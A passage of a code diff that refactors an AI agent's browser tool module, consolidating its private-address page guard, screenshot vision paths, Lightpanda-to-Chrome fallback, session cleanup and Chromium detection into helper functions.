data = result.get("data", {}) - raw_result = data.get("result") - - # The eval command returns the JS result as a string. If the string - # is valid JSON, parse it so the model gets structured data. - parsed = raw_result - if isinstance(raw_result, str): - try: - parsed = json.loads(raw_result) - except (json.JSONDecodeError, ValueError): - pass # keep as string + return _eval_failure_response(result) + parsed = _parse_eval_value(result.get("data", {}).get("result")) response = { "success": True, "result": _redact_browser_output(parsed), "result_type": type(parsed).__name__, } - # Post-eval page-URL recheck: if this (or a prior) eval navigated the page - # to a private address, withhold the result (mirrors the supervisor path). - if _eval_ssrf_guard_active(effective_task_id): - _blocked_url = _current_page_private_url(effective_task_id) - if _blocked_url: - return json.dumps({ - "success": False, - "error": ( - "Blocked: page URL targets a private or internal address " - f"({_blocked_url}). This may have been caused by a " - "JavaScript navigation via browser_console." - ), - }, ensure_ascii=False) + # Post-eval page-URL recheck (mirrors the supervisor path). + blocked = _blocked_private_page_content(effective_task_id) + if blocked is not None: + return blocked return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False, default=str) -def _camofox_current_page_private_url(tab_id: str, user_id: str) -> Optional[str]: - """Return the Camofox page URL when it targets a private/internal address. - - Camofox analogue of ``_current_page_private_url`` (evaluate endpoint instead - of the agent-browser CLI). Returns ``None`` when the page is public, the URL - can't be determined, or the probe errors (fail-open on probe failure, - matching the snapshot/vision guards — do not change to fail-closed without - also changing the sibling). - """ - try: - from tools.browser_camofox import _post - - data = _post( - f"/tabs/{tab_id}/evaluate", - body={"expression": "window.location.href", "userId": user_id}, - ) - current_url = str(data.get("result") if isinstance(data, dict) else data or "") - current_url = current_url.strip().strip('"').strip("'") - if current_url and (_is_always_blocked_url(current_url) or not _is_safe_url(current_url)): - return current_url - except Exception as exc: - logger.debug("_camofox_current_page_private_url: probe failed (%s)", exc) - return None - - def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str: """Evaluate JS via Camofox's /tabs/{tab_id}/evaluate endpoint (if available).""" from tools.browser_camofox import _ensure_tab, _post @@ -5355,14 +3674,7 @@ def _camofox_eval(expression: str, task_id: Optional[str] = None) -> str: if _eval_ssrf_guard_active(task_id or "default"): _blocked_url = _camofox_current_page_private_url(tab_id, user_id) if _blocked_url: - return json.dumps({ - "success": False, - "error": ( - "Blocked: page URL targets a private or internal address " - f"({_blocked_url}). This may have been caused by a " - "JavaScript navigation via browser_console." - ), - }, ensure_ascii=False) + return _blocked_private_page_json(_blocked_url) return json.dumps({ "success": True, @@ -5431,15 +3743,7 @@ def _maybe_stop_recording(task_id: str): def browser_get_images(task_id: Optional[str] = None) -> str: - """ - Get all images on the current page. - - Args: - task_id: Task identifier for session isolation - - Returns: - JSON string with list of images (src and alt) - """ + """List the page's images (src, alt, natural size), excluding data: URIs.""" if _is_camofox_mode(): from tools.browser_camofox import camofox_get_images return camofox_get_images(task_id) @@ -5460,17 +3764,9 @@ def browser_get_images(task_id: Optional[str] = None) -> str: if result.get("success"): # ── Private-network guard (sibling of snapshot/vision/eval guards) ── - if _eval_ssrf_guard_active(effective_task_id): - _blocked_url = _current_page_private_url(effective_task_id) - if _blocked_url: - return json.dumps({ - "success": False, - "error": ( - "Blocked: page URL targets a private or internal address " - f"({_blocked_url}). This may have been caused by a " - "JavaScript navigation via browser_console." - ), - }, ensure_ascii=False) + blocked = _blocked_private_page_content(effective_task_id) + if blocked is not None: + return blocked data = result.get("data", {}) raw_result = data.get("result", "[]") @@ -5504,34 +3800,187 @@ def browser_get_images(task_id: Optional[str] = None) -> str: return json.dumps(_copy_fallback_warning(response, result), ensure_ascii=False) -def browser_vision(question: str, annotate: bool = False, task_id: Optional[str] = None) -> Union[str, Dict[str, Any]]: +_LP_VISION_FALLBACK_REASON = ( + "Lightpanda has no graphical renderer for screenshots; used Chrome for vision capture." +) + + +def _vision_mode_label() -> str: + _cp = _get_cloud_provider() + return "local" if _cp is None else f"cloud ({_cp.provider_name()})" + + +def _lightpanda_vision_preroute( + effective_task_id: str, annotate: bool, screenshot_path: Path, +) -> Tuple[bool, Optional[str], Path]: + """Capture the vision screenshot through the Chrome fallback when Lightpanda is the engine. + + Lightpanda has no graphical renderer, so the normal path would fail with a + CDP error or return a placeholder PNG. Returns ``(prerouted, fallback_warning, + screenshot_path)``; on fallback failure ``prerouted`` is False and the caller + takes the normal screenshot path (forcing Chrome) so ``_run_browser_command`` + still produces the standard fallback metadata/error. """ - Take a screenshot of the current page for visual inspection. + engine = _get_browser_engine() + if engine != "lightpanda" or not _should_inject_engine(engine): + return False, None, screenshot_path + logger.debug("browser_vision: pre-routing screenshot to Chrome (engine=lightpanda)") + screenshot_args = ["--annotate"] if annotate else [] + fb_result = _chrome_fallback_screenshot(effective_task_id, screenshot_args, _get_command_timeout()) + fb_result = _annotate_lightpanda_fallback(fb_result, _LP_VISION_FALLBACK_REASON) + if not fb_result.get("success"): + logger.warning("Lightpanda Chrome fallback vision screenshot failed: %s", fb_result.get("error")) + return False, None, screenshot_path + fb_path = fb_result.get("data", {}).get("path", "") + if fb_path and os.path.exists(fb_path): + import uuid as uuid_mod + from hermes_constants import get_hermes_dir - Captures what's visually displayed in the browser. When the active model - supports native vision, the screenshot is attached directly to the - conversation so the model can inspect it on the next turn; otherwise Hermes - falls back to the auxiliary vision model and returns a text analysis. Useful - for visual content the text-based snapshot may not capture (CAPTCHAs, - verification challenges, images, complex layouts, etc.). + screenshots_dir = get_hermes_dir("cache/screenshots", "browser_screenshots") + screenshots_dir.mkdir(parents=True, exist_ok=True) + persistent_path = screenshots_dir / f"browser_screenshot_{uuid_mod.uuid4().hex}.png" + shutil.copy2(fb_path, persistent_path) + screenshot_path = persistent_path + return True, fb_result.get("fallback_warning"), screenshot_path - The screenshot is saved persistently and its file path is returned so it - can be shared with users via MEDIA: in the response. - Args: - question: What you want to know about the page visually - annotate: If True, overlay numbered [N] labels on interactive elements - task_id: Task identifier for session isolation +def _native_vision_result( + screenshot_path: Path, question: str, annotate: bool, + result: Dict[str, Any], lp_fallback_warning: Optional[str], +) -> Dict[str, Any]: + """Multimodal tool-result envelope: the main model inspects the pixels itself. - Returns: - A JSON string with vision analysis results and screenshot_path, or a - multimodal tool-result envelope carrying the screenshot and metadata. + History-reuse cap: this embed is baked into the tool result and re-sent on + every later turn, exactly like vision_analyze's native path — apply the same + proactive resize so full-res screenshots can't enter immutable history + uncapped. The helper's stat/dimension quick-estimate skips the resize when + already under both caps; without Pillow it fails open to the raw bytes. + """ + from tools.vision_tools import ( + _EMBED_MAX_DIMENSION, + _EMBED_TARGET_BYTES, + _build_native_vision_tool_result, + _resize_image_for_vision, + ) + + data_url = _resize_image_for_vision( + screenshot_path, + mime_type="image/png", + max_base64_bytes=_EMBED_TARGET_BYTES, + max_dimension=_EMBED_MAX_DIMENSION, + force_jpeg=True, + ) + native_result = _build_native_vision_tool_result( + image_url=str(screenshot_path), + question=question, + image_data_url=data_url, + image_size_bytes=screenshot_path.stat().st_size, + ) + meta = native_result.setdefault("meta", {}) + meta["screenshot_path"] = str(screenshot_path) + if lp_fallback_warning: + meta["fallback_warning"] = lp_fallback_warning + if annotate and result.get("data", {}).get("annotations"): + meta["annotations"] = result["data"]["annotations"] + native_result["text_summary"] = ( + f"{native_result.get('text_summary', '')} " + f"Screenshot path: {screenshot_path}" + ).strip() + return native_result + + +def _analyze_screenshot_with_aux_llm(screenshot_path: Path, question: str) -> str: + """One-shot aux vision-LLM analysis (not baked into history), secret-redacted. + + Encodes at full resolution; on a size-related provider rejection the image + is downscaled once and retried. Timeout/temperature come from + ``auxiliary.vision.*`` — local vision models (llama.cpp, ollama) can take + well over 30s, so the default timeout is generous. + """ + import base64 + + vision_prompt = ( + f"You are analyzing a screenshot of a web browser.\n\n" + f"User's question: {question}\n\n" + f"Provide a detailed and helpful answer based on what you see in the screenshot. " + f"If there are interactive elements, describe them. If there are verification challenges " + f"or CAPTCHAs, describe what type they are and what action might be needed. " + f"Focus on answering the user's specific question." + ) + _screenshot_bytes = screenshot_path.read_bytes() + _screenshot_b64 = base64.b64encode(_screenshot_bytes).decode("ascii") + data_url = f"data:image/png;base64,{_screenshot_b64}" + vision_model = _get_vision_model() + logger.debug("browser_vision: analysing screenshot (%d bytes)", + len(_screenshot_bytes)) + + vision_timeout = 120.0 + vision_temperature = 0.1 + try: + from hermes_cli.config import load_config + _vision_cfg = cfg_get(load_config(), "auxiliary", "vision", default={}) + _vt = _vision_cfg.get("timeout") + if _vt is not None: + vision_timeout = float(_vt) + _vtemp = _vision_cfg.get("temperature") + if _vtemp is not None: + vision_temperature = float(_vtemp) + except Exception: + pass + + call_kwargs = { + "task": "vision", + "messages": [ + { + "role": "user", + "content": [ + {"type": "text", "text": vision_prompt}, + {"type": "image_url", "image_url": {"url": data_url}}, + ], + } + ], + "temperature": vision_temperature, + "timeout": vision_timeout, + } + if vision_model: + call_kwargs["model"] = vision_model + try: + response = _lazy_call_llm(**call_kwargs) + except Exception as _api_err: + from tools.vision_tools import ( + _is_image_size_error, _resize_image_for_vision, _RESIZE_TARGET_BYTES, + ) + if not (_is_image_size_error(_api_err) and len(data_url) > _RESIZE_TARGET_BYTES): + raise + logger.info( + "Vision API rejected screenshot (%.1f MB); " + "auto-resizing to ~%.0f MB and retrying...", + len(data_url) / (1024 * 1024), + _RESIZE_TARGET_BYTES / (1024 * 1024), + ) + data_url = _resize_image_for_vision(screenshot_path, mime_type="image/png") + call_kwargs["messages"][0]["content"][1]["image_url"]["url"] = data_url + response = _lazy_call_llm(**call_kwargs) + + analysis = (response.choices[0].message.content or "").strip() + # Redact secrets the vision LLM may have read from the screenshot. + from agent.redact import redact_sensitive_text + return redact_sensitive_text(analysis) + + +def browser_vision(question: str, annotate: bool = False, task_id: Optional[str] = None) -> Union[str, Dict[str, Any]]: + """Screenshot the current page for visual inspection (CAPTCHAs, images, layouts). + + Native-vision models get the screenshot attached to the conversation (a + multimodal tool-result envelope); otherwise the auxiliary vision model + returns a text analysis as JSON. Either way the file is saved persistently + and its path returned so it can be shared via MEDIA:. + ``annotate`` overlays numbered [N] labels on interactive elements. """ if _is_camofox_mode(): from tools.browser_camofox import camofox_vision return camofox_vision(question, annotate, task_id) - import base64 import uuid as uuid_mod from hermes_constants import get_hermes_dir screenshots_dir = get_hermes_dir("cache/screenshots", "browser_screenshots") @@ -5539,106 +3988,27 @@ def browser_vision(question: str, annotate: bool = False, task_id: Optional[str] effective_task_id = _last_session_key(task_id or "default") # ── Private-network guard: block vision from eval-navigated private pages ── - # After any eval (browser_console) that may have changed location.href to a - # private/internal address, the screenshot would expose private page content - # to the vision model. Re-check the current URL before capturing anything. - if ( - not _is_local_backend() - and not _is_local_sidecar_key(effective_task_id) - and not _allow_private_urls() - ): - try: - _url_result = _run_browser_command( - effective_task_id, "eval", ["window.location.href"], - timeout=5, _engine_override="auto", - ) - if _url_result.get("success"): - _current_url = ( - _url_result.get("data", {}).get("result", "") - .strip().strip('"').strip("'") - ) - if _current_url and not _is_safe_url(_current_url): - return json.dumps({ - "success": False, - "error": ( - "Blocked: page URL targets a private or internal address " - f"({_current_url}). This may have been caused by a " - "JavaScript navigation via browser_console." - ), - }, ensure_ascii=False) - except Exception as _url_exc: - logger.debug("browser_vision: URL safety check failed (%s)", _url_exc) + blocked = _blocked_private_page_content(effective_task_id) + if blocked is not None: + return blocked - # Lightpanda has no graphical renderer — pre-route screenshots to Chrome - # via the fallback helper instead of letting the normal path fail with a - # CDP error or return a placeholder PNG. The normal analysis path below - # still owns base64 encoding, provider routing, resizing retry, redaction, - # and response shape. - engine = _get_browser_engine() - _lp_prerouted = False - _lp_fallback_warning = None - if engine == "lightpanda" and _should_inject_engine(engine): - logger.debug("browser_vision: pre-routing screenshot to Chrome (engine=lightpanda)") - screenshot_args = [] - if annotate: - screenshot_args.append("--annotate") - fb_result = _chrome_fallback_screenshot( - effective_task_id, screenshot_args, _get_command_timeout(), - ) - fb_reason = "Lightpanda has no graphical renderer for screenshots; used Chrome for vision capture." - fb_result = _annotate_lightpanda_fallback(fb_result, fb_reason) - if fb_result.get("success"): - _lp_prerouted = True - _lp_fallback_warning = fb_result.get("fallback_warning") - fb_path = fb_result.get("data", {}).get("path", "") - if fb_path and os.path.exists(fb_path): - from hermes_constants import get_hermes_dir - screenshots_dir = get_hermes_dir("cache/screenshots", "browser_screenshots") - screenshots_dir.mkdir(parents=True, exist_ok=True) - import shutil as _shutil_vision - persistent_path = screenshots_dir / f"browser_screenshot_{uuid_mod.uuid4().hex}.png" - _shutil_vision.copy2(fb_path, persistent_path) - screenshot_path = persistent_path - else: - logger.warning("Lightpanda Chrome fallback vision screenshot failed: %s", fb_result.get("error")) - # Fall through to the normal screenshot path so _run_browser_command - # can still produce the standard fallback metadata/error. - _lp_prerouted = False + _lp_prerouted, _lp_fallback_warning, screenshot_path = _lightpanda_vision_preroute( + effective_task_id, annotate, screenshot_path, + ) try: screenshots_dir.mkdir(parents=True, exist_ok=True) - # Prune old screenshots (older than 24 hours) to prevent unbounded disk growth _cleanup_old_screenshots(screenshots_dir, max_age_hours=24) if _lp_prerouted and screenshot_path.exists(): - result = { - "success": True, - "data": { - "path": str(screenshot_path), - "fallback_warning": _lp_fallback_warning, - "browser_engine": "chrome", - "browser_engine_fallback": { - "from": "lightpanda", - "to": "chrome", - "reason": "Lightpanda has no graphical renderer for screenshots; used Chrome for vision capture.", - }, - }, - "fallback_warning": _lp_fallback_warning, - "browser_engine": "chrome", - "browser_engine_fallback": { - "from": "lightpanda", - "to": "chrome", - "reason": "Lightpanda has no graphical renderer for screenshots; used Chrome for vision capture.", - }, - } + result = _annotate_lightpanda_fallback( + {"success": True, "data": {"path": str(screenshot_path)}}, + _LP_VISION_FALLBACK_REASON, + ) else: - # Take screenshot using agent-browser - screenshot_args = [] - if annotate: - screenshot_args.append("--annotate") - screenshot_args.append("--full") - screenshot_args.append(str(screenshot_path)) + screenshot_args = ["--annotate"] if annotate else [] + screenshot_args += ["--full", str(screenshot_path)] result = _run_browser_command( effective_task_id, "screenshot", @@ -5650,11 +4020,9 @@ def browser_vision(question: str, annotate: bool = False, task_id: Optional[str] if not result.get("success"): error_detail = result.get("error", "Unknown error") - _cp = _get_cloud_provider() - mode = "local" if _cp is None else f"cloud ({_cp.provider_name()})" error_response = { "success": False, - "error": f"Failed to take screenshot ({mode} mode): {error_detail}" + "error": f"Failed to take screenshot ({_vision_mode_label()} mode): {error_detail}" } return json.dumps(_copy_fallback_warning(error_response, result), ensure_ascii=False) @@ -5662,171 +4030,40 @@ def browser_vision(question: str, annotate: bool = False, task_id: Optional[str] if actual_screenshot_path: screenshot_path = Path(actual_screenshot_path) - # Check if screenshot file was created if not screenshot_path.exists(): - _cp = _get_cloud_provider() - mode = "local" if _cp is None else f"cloud ({_cp.provider_name()})" return json.dumps({ "success": False, "error": ( - f"Screenshot file was not created at {screenshot_path} ({mode} mode). " + f"Screenshot file was not created at {screenshot_path} ({_vision_mode_label()} mode). " f"This may indicate a socket path issue (macOS /var/folders/), " f"a missing Chromium install ('agent-browser install'), " f"or a stale daemon process." ), }, ensure_ascii=False) - # NOTE: the full-resolution base64 encode is deliberately deferred. - # The native fast path below sizes its own history-reuse embed via - # _resize_image_for_vision (stat-based quick estimate — no full-res - # encode when oversized), and only the aux-LLM fallback path needs - # the one-shot full-res data URL. - - # Fast path: when native image routing is in effect for the active main - # model, attach the screenshot directly instead of describing it through - # an auxiliary vision LLM. The model inspects the pixels on its next - # turn — no aux call, no information loss. Consistent with vision_analyze. - from tools.vision_tools import ( - _EMBED_MAX_DIMENSION, - _EMBED_TARGET_BYTES, - _build_native_vision_tool_result, - _resize_image_for_vision, - _should_use_native_vision_fast_path, - ) + # Fast path: native image routing for the active main model — attach the + # screenshot directly instead of describing it through an aux vision LLM + # (no aux call, no information loss; consistent with vision_analyze). + from tools.vision_tools import _should_use_native_vision_fast_path if _should_use_native_vision_fast_path(): - # History-reuse cap (#92699): this embed is baked into the tool - # result and re-sent on every later turn, exactly like - # vision_analyze's native path — apply the same proactive resize - # so full-res screenshots can't enter immutable history uncapped. - # The helper's internal stat/dimension quick-estimate skips the - # resize (and encodes directly) when the screenshot is already - # under both caps, so no full-res base64 is built just to be - # thrown away. Fail-open: without Pillow it falls back to the - # raw bytes and the compressor's keep-newest pass still retires - # stale embeds. - data_url = _resize_image_for_vision( - screenshot_path, - mime_type="image/png", - max_base64_bytes=_EMBED_TARGET_BYTES, - max_dimension=_EMBED_MAX_DIMENSION, - force_jpeg=True, - ) - native_result = _build_native_vision_tool_result( - image_url=str(screenshot_path), - question=question, - image_data_url=data_url, - image_size_bytes=screenshot_path.stat().st_size, - ) - meta = native_result.setdefault("meta", {}) - meta["screenshot_path"] = str(screenshot_path) - if _lp_fallback_warning: - meta["fallback_warning"] = _lp_fallback_warning - if annotate and result.get("data", {}).get("annotations"): - meta["annotations"] = result["data"]["annotations"] - native_result["text_summary"] = ( - f"{native_result.get('text_summary', '')} " - f"Screenshot path: {screenshot_path}" - ).strip() - return native_result + return _native_vision_result(screenshot_path, question, annotate, result, _lp_fallback_warning) - vision_prompt = ( - f"You are analyzing a screenshot of a web browser.\n\n" - f"User's question: {question}\n\n" - f"Provide a detailed and helpful answer based on what you see in the screenshot. " - f"If there are interactive elements, describe them. If there are verification challenges " - f"or CAPTCHAs, describe what type they are and what action might be needed. " - f"Focus on answering the user's specific question." - ) - - # Aux-LLM path: one-shot analysis, not baked into history — encode at - # full resolution here (the pre-existing 5 MB oversize guard below - # still applies). - _screenshot_bytes = screenshot_path.read_bytes() - _screenshot_b64 = base64.b64encode(_screenshot_bytes).decode("ascii") - data_url = f"data:image/png;base64,{_screenshot_b64}" - - # Use the centralized LLM router - vision_model = _get_vision_model() - logger.debug("browser_vision: analysing screenshot (%d bytes)", - len(_screenshot_bytes)) - - # Read vision timeout/temperature from config (auxiliary.vision.*). - # Local vision models (llama.cpp, ollama) can take well over 30s for - # screenshot analysis, so the default timeout must be generous. - vision_timeout = 120.0 - vision_temperature = 0.1 - try: - from hermes_cli.config import load_config - _cfg = load_config() - _vision_cfg = cfg_get(_cfg, "auxiliary", "vision", default={}) - _vt = _vision_cfg.get("timeout") - if _vt is not None: - vision_timeout = float(_vt) - _vtemp = _vision_cfg.get("temperature") - if _vtemp is not None: - vision_temperature = float(_vtemp) - except Exception: - pass - - call_kwargs = { - "task": "vision", - "messages": [ - { - "role": "user", - "content": [ - {"type": "text", "text": vision_prompt}, - {"type": "image_url", "image_url": {"url": data_url}}, - ], - } - ], - "temperature": vision_temperature, - "timeout": vision_timeout, - } - if vision_model: - call_kwargs["model"] = vision_model - # Try full-size screenshot; on size-related rejection, downscale and retry. - try: - response = _lazy_call_llm(**call_kwargs) - except Exception as _api_err: - from tools.vision_tools import ( - _is_image_size_error, _resize_image_for_vision, _RESIZE_TARGET_BYTES, - ) - if (_is_image_size_error(_api_err) - and len(data_url) > _RESIZE_TARGET_BYTES): - logger.info( - "Vision API rejected screenshot (%.1f MB); " - "auto-resizing to ~%.0f MB and retrying...", - len(data_url) / (1024 * 1024), - _RESIZE_TARGET_BYTES / (1024 * 1024), - ) - data_url = _resize_image_for_vision( - screenshot_path, mime_type="image/png") - call_kwargs["messages"][0]["content"][1]["image_url"]["url"] = data_url - response = _lazy_call_llm(**call_kwargs) - else: - raise - - analysis = (response.choices[0].message.content or "").strip() - # Redact secrets the vision LLM may have read from the screenshot. - from agent.redact import redact_sensitive_text - analysis = redact_sensitive_text(analysis) + analysis = _analyze_screenshot_with_aux_llm(screenshot_path, question) response_data = { "success": True, "analysis": analysis or "Vision analysis returned no content.", "screenshot_path": str(screenshot_path), } _copy_fallback_warning(response_data, result) - # Include annotation data if annotated screenshot was taken if annotate and result.get("data", {}).get("annotations"): response_data["annotations"] = result["data"]["annotations"] return json.dumps(response_data, ensure_ascii=False) except Exception as e: - # Keep the screenshot if it was captured successfully — the failure is - # in the LLM vision analysis, not the capture. Deleting a valid - # screenshot loses evidence the user might need. The 24-hour cleanup - # in _cleanup_old_screenshots prevents unbounded disk growth. + # Keep the screenshot if it was captured — the failure is in the vision + # analysis, not the capture, and deleting it loses evidence the user may + # need. The 24-hour cleanup bounds disk growth. logger.warning("browser_vision failed: %s", e, exc_info=True) error_info = {"success": False, "error": f"Error during vision analysis: {str(e)}"} if screenshot_path.exists(): @@ -5882,70 +4119,94 @@ def _cleanup_old_recordings(max_age_hours=72): # Cleanup and Management Functions # ============================================================================ -def cleanup_browser(task_id: Optional[str] = None) -> None: +def _drop_last_active_binding(task_id: str) -> None: + """Drop stale last-active ownership after cleaning ``task_id``. + + Cleaning a bare task drops its binding; cleaning a sidecar drops the binding + only if that sidecar was still the recorded owner — so a later + click/snapshot can't resurrect a cleaned sidecar on about:blank while a + primary-session binding is preserved. """ - Clean up browser session(s) for a task. + if _is_local_sidecar_key(task_id): + bare_task_id = _bare_task_id_for_session_key(task_id) + if _last_active_session_key.get(bare_task_id) == task_id: + _last_active_session_key.pop(bare_task_id, None) + else: + _last_active_session_key.pop(task_id, None) - Called automatically when a task completes or when inactivity timeout is reached. - Closes both the agent-browser/Browserbase session and Camofox sessions. - When ``task_id`` is a bare task identifier (no ``::local`` suffix), reaps - BOTH the cloud/primary session AND any hybrid-routing local sidecar that - may have been spawned for LAN/localhost URLs in the same task. When - ``task_id`` already carries a ``::local`` suffix (called from the inactivity - cleanup loop against a specific session key), reaps only that one. +def cleanup_browser(task_id: Optional[str] = None) -> None: + """Clean up browser session(s) for a task (task completion / inactivity timeout). - Args: - task_id: Task identifier (or explicit session key) + A bare task id reaps BOTH the primary session and any hybrid local sidecar + spawned for it; a key already carrying ``::local`` (inactivity loop) reaps + only that one. """ if task_id is None: task_id = "default" - # Expand to the full set of session keys to reap. For a bare task_id - # that includes the cloud/primary key + the local sidecar if one exists. - if _is_local_sidecar_key(task_id): - session_keys = [task_id] - bare_task_id = task_id[: -len(_LOCAL_SUFFIX)] - else: - session_keys = [task_id] + session_keys = [task_id] + if not _is_local_sidecar_key(task_id): sidecar_key = f"{task_id}{_LOCAL_SUFFIX}" with _cleanup_lock: if sidecar_key in _active_sessions: session_keys.append(sidecar_key) - bare_task_id = task_id for session_key in session_keys: _cleanup_single_browser_session(session_key) + _drop_last_active_binding(task_id) - # Drop stale last-active ownership. Cleaning a bare task drops its binding; - # cleaning a sidecar drops the binding only if that sidecar was still the - # recorded owner. This prevents a later click/snapshot from resurrecting a - # cleaned sidecar on about:blank while preserving a primary-session binding. - if _is_local_sidecar_key(task_id): - if _last_active_session_key.get(bare_task_id) == task_id: - _last_active_session_key.pop(bare_task_id, None) - else: - _last_active_session_key.pop(bare_task_id, None) + +def _kill_verified_daemon(socket_dir: str, session_name: str) -> bool: + """Tree-kill the daemon recorded in ``/.pid`` if it is verifiably ours. + + The .pid file lives in a world-writable temp dir and PIDs recycle: the + process must pass ``_verify_reapable_browser_daemon`` and have a start-time + fingerprint (so the kill refuses if the PID is swapped between check and + kill). Returns True when a kill was issued. Never raises. + """ + pid_file = os.path.join(socket_dir, f"{session_name}.pid") + if not os.path.isfile(pid_file): + return False + try: + from tools.process_registry import ProcessRegistry + daemon_pid = int(Path(pid_file).read_text(encoding="utf-8").strip()) + if not _verify_reapable_browser_daemon(daemon_pid, socket_dir, session_name): + logger.debug( + "Skipped daemon kill for %s: pid %s failed identity " + "verification", session_name, daemon_pid) + return False + from gateway.status import get_process_start_time + daemon_start = get_process_start_time(daemon_pid) + if daemon_start is None: + logger.debug( + "Skipped daemon kill for %s: no start-time " + "fingerprint for pid %s", session_name, daemon_pid) + return False + ProcessRegistry._terminate_host_pid(daemon_pid, daemon_start) + logger.debug("Killed daemon pid %s for %s", daemon_pid, session_name) + return True + except (ProcessLookupError, ValueError, PermissionError, OSError): + logger.debug("Could not kill daemon pid for %s (already dead or inaccessible)", session_name) + return False def _release_session_resources(task_id: str, session_info: Dict[str, Any]) -> None: """Untrack ``task_id``, close its cloud provider session, kill its daemon. The unconditional tail of ``_cleanup_single_browser_session``; also the - whole of the janitor's force-reap path (#100738), which skips the polite + whole of the janitor's force-reap path, which skips the polite agent-browser/Camofox ``close`` that kept failing but must still release the cloud session and the local Chromium. """ bb_session_id = session_info.get("bb_session_id", "unknown") - # Now remove from tracking under lock with _cleanup_lock: _active_sessions.pop(task_id, None) _session_last_activity.pop(task_id, None) _session_owner_homes.pop(task_id, None) _cleanup_failures.pop(task_id, None) - # Cloud mode: close the cloud browser session via provider API. - # Local sidecars have bb_session_id=None so this no-ops for them. + # Cloud mode only — local sidecars have bb_session_id=None. if bb_session_id: provider = _get_cloud_provider() if provider is not None: @@ -5954,45 +4215,16 @@ def _release_session_resources(task_id: str, session_info: Dict[str, Any]) -> No except Exception as e: logger.warning("Could not close cloud browser session: %s", e) - # Kill the daemon process and clean up socket directory session_name = session_info.get("session_name", "") if session_name: socket_dir = os.path.join(_socket_safe_tmpdir(), f"agent-browser-{session_name}") if os.path.exists(socket_dir): - # agent-browser writes {session}.pid in the socket dir - pid_file = os.path.join(socket_dir, f"{session_name}.pid") - if os.path.isfile(pid_file): - try: - from tools.process_registry import ProcessRegistry - daemon_pid = int(Path(pid_file).read_text(encoding="utf-8").strip()) - # The .pid file lives in a world-writable temp dir and - # PIDs recycle: verify this really is our daemon for - # this session before tree-killing, and pin the - # identity with a start-time fingerprint so the kill - # refuses if the PID is swapped between check and kill. - if _verify_reapable_browser_daemon( - daemon_pid, socket_dir, session_name): - from gateway.status import get_process_start_time - daemon_start = get_process_start_time(daemon_pid) - if daemon_start is not None: - ProcessRegistry._terminate_host_pid( - daemon_pid, daemon_start) - logger.debug("Killed daemon pid %s for %s", daemon_pid, session_name) - else: - logger.debug( - "Skipped daemon kill for %s: no start-time " - "fingerprint for pid %s", session_name, daemon_pid) - else: - logger.debug( - "Skipped daemon kill for %s: pid %s failed identity " - "verification", session_name, daemon_pid) - except (ProcessLookupError, ValueError, PermissionError, OSError): - logger.debug("Could not kill daemon pid for %s (already dead or inaccessible)", session_name) + _kill_verified_daemon(socket_dir, session_name) shutil.rmtree(socket_dir, ignore_errors=True) def _force_reap_browser_session(task_id: str) -> None: - """Janitor last resort after repeated cleanup failures (#100738). + """Janitor last resort after repeated cleanup failures. Skips the ``close`` round-trips that keep failing and goes straight to ``_release_session_resources`` (cloud close + daemon kill + untrack). @@ -6004,13 +4236,7 @@ def _force_reap_browser_session(task_id: str) -> None: _recording_sessions.discard(task_id) if session_info: _release_session_resources(task_id, session_info) - # Same ownership-binding drop as cleanup_browser(). - if _is_local_sidecar_key(task_id): - bare_task_id = task_id[: -len(_LOCAL_SUFFIX)] - if _last_active_session_key.get(bare_task_id) == task_id: - _last_active_session_key.pop(bare_task_id, None) - else: - _last_active_session_key.pop(task_id, None) + _drop_last_active_binding(task_id) def _cleanup_single_browser_session(task_id: str) -> None: @@ -6108,7 +4334,7 @@ def cleanup_all_browsers() -> None: _agent_browser_resolved = False _discover_homebrew_node_dirs.cache_clear() # Flip the resolved flag BEFORE nulling the cache so a concurrent - # reader never sees ``resolved=True`` with ``cache=None`` (#14331). + # reader never sees ``resolved=True`` with ``cache=None``. _command_timeout_resolved = False _cached_command_timeout = None _snapshot_threshold_resolved = False @@ -6129,17 +4355,9 @@ _cached_chromium_installed: Optional[bool] = None def _chromium_search_roots() -> List[str]: - """Directories to scan for a Chromium / headless-shell build. - - Order mirrors what agent-browser and Playwright actually probe: - - 1. ``PLAYWRIGHT_BROWSERS_PATH`` when set (Docker image sets this to - ``/opt/hermes/.playwright``). - 2. ``~/.cache/ms-playwright`` — Playwright's default on Linux/macOS. - 3. ``~/Library/Caches/ms-playwright`` — Playwright's default on macOS. - 4. ``%USERPROFILE%\\AppData\\Local\\ms-playwright`` — Playwright's default - on Windows. - """ + """Directories to scan for a Chromium / headless-shell build, in the order + agent-browser and Playwright probe them: ``PLAYWRIGHT_BROWSERS_PATH``, then + Playwright's per-OS default cache.""" roots: List[str] = [] env_path = os.environ.get("PLAYWRIGHT_BROWSERS_PATH", "").strip() if env_path and env_path != "0": @@ -6159,21 +4377,10 @@ def _chromium_search_roots() -> List[str]: def _chromium_installed() -> bool: """Return True when a usable Chromium (or headless-shell) build is on disk. - Checks, in order: - - 1. ``AGENT_BROWSER_EXECUTABLE_PATH`` env var — the official way to point - agent-browser at a pre-installed Chrome/Chromium. - 2. System Chrome/Chromium in PATH (``google-chrome``, ``chromium``, - ``chromium-browser``, ``chrome``). - 3. Playwright's browser cache (current logic) — directories containing - ``chromium-*`` or ``chromium_headless_shell-*``. - - agent-browser (0.26+) downloads Playwright's chromium / headless-shell - builds into ``PLAYWRIGHT_BROWSERS_PATH`` and won't start without at least - one of the three above being present. Without a browser binary the CLI - hangs on first use until the command timeout fires (often ~30s). Guarding - the tool behind this check prevents advertising a capability that will - fail at runtime. + Checks ``AGENT_BROWSER_EXECUTABLE_PATH``, then system Chrome/Chromium on + PATH, then Playwright's cache (``chromium-*`` / ``chromium_headless_shell-*`` + dirs). Without a binary the CLI hangs on first use until the command + timeout fires, so the tool must not be advertised. """ global _cached_chromium_installed if _cached_chromium_installed is not None: @@ -6181,10 +4388,9 @@ def _chromium_installed() -> bool: # 1. AGENT_BROWSER_EXECUTABLE_PATH — explicit user-configured browser ab_path = os.environ.get("AGENT_BROWSER_EXECUTABLE_PATH", "").strip() - if ab_path: - if os.path.isfile(ab_path) or shutil.which(ab_path): - _cached_chromium_installed = True - return True + if ab_path and (os.path.isfile(ab_path) or shutil.which(ab_path)): + _cached_chromium_installed = True + return True # 2. System Chrome/Chromium in PATH (common names) system_chrome = ( @@ -6226,18 +4432,11 @@ _chromium_autoinstall_attempted = False def _maybe_autoinstall_chromium() -> bool: """Best-effort, gated download of the Chromium *binary* on local cold start. - Closes the "the PR doesn't actually 